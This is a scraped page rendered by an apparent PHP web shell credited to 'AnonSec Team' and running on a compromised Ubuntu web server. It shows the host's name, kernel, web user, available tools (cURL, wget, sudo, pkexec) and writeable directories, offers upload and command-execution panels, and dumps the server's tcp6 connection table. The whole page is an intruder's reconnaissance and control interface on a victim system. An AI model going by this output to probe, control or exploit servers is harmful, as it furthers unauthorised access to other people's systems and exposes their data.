NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.171
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/18/task/18/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/18/task/18/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 101983488 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 54035 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 101983492 1 0000000000000000 100 0 0 10 0
   3: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ABD849D8:33C2 06 00000000:00000000 03:00000784 00000000     0        0 0 3 0000000000000000
   4: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ABD849D8:234C 06 00000000:00000000 03:00000CC2 00000000     0        0 0 3 0000000000000000
   5: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ABD849D8:1709 06 00000000:00000000 03:000001E2 00000000     0        0 0 3 0000000000000000
   6: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ABD849D8:A02C 01 00000000:00000000 02:000AFC30 00000000    33        0 111144437 3 0000000000000000 22 4 13 10 -1
   7: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ABD849D8:7042 06 00000000:00000000 03:00000ECB 00000000     0        0 0 3 0000000000000000
   8: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ABD849D8:8F4A 06 00000000:00000000 03:0000091A 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ABD849D8:CEDD 06 00000000:00000000 03:00001716 00000000     0        0 0 3 0000000000000000
  10: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000018E3074A:96D0 06 00000000:00000000 03:00000FFD 00000000     0        0 0 3 0000000000000000
  11: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ABD849D8:9391 06 00000000:00000000 03:0000057A 00000000     0        0 0 3 0000000000000000
  12: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000008F1074A:E402 01 00000000:00000000 02:000AF789 00000000    33        0 111144313 3 0000000000000000 22 4 31 10 -1
  13: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF000018E3074A:9232 01 00000000:00000000 02:000AF53F 00000000    33        0 111143548 3 0000000000000000 22 4 31 10 -1
  14: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ABD849D8:A212 06 00000000:00000000 03:0000137C 00000000     0        0 0 3 0000000000000000
  15: 0000000000000000FFFF00003DD7D186:01BB 0000000000000000FFFF0000ABD849D8:D8A5 06 00000000:00000000 03:000011AA 00000000     0        0 0 3 0000000000000000

Anon7 - 2022
AnonSec Team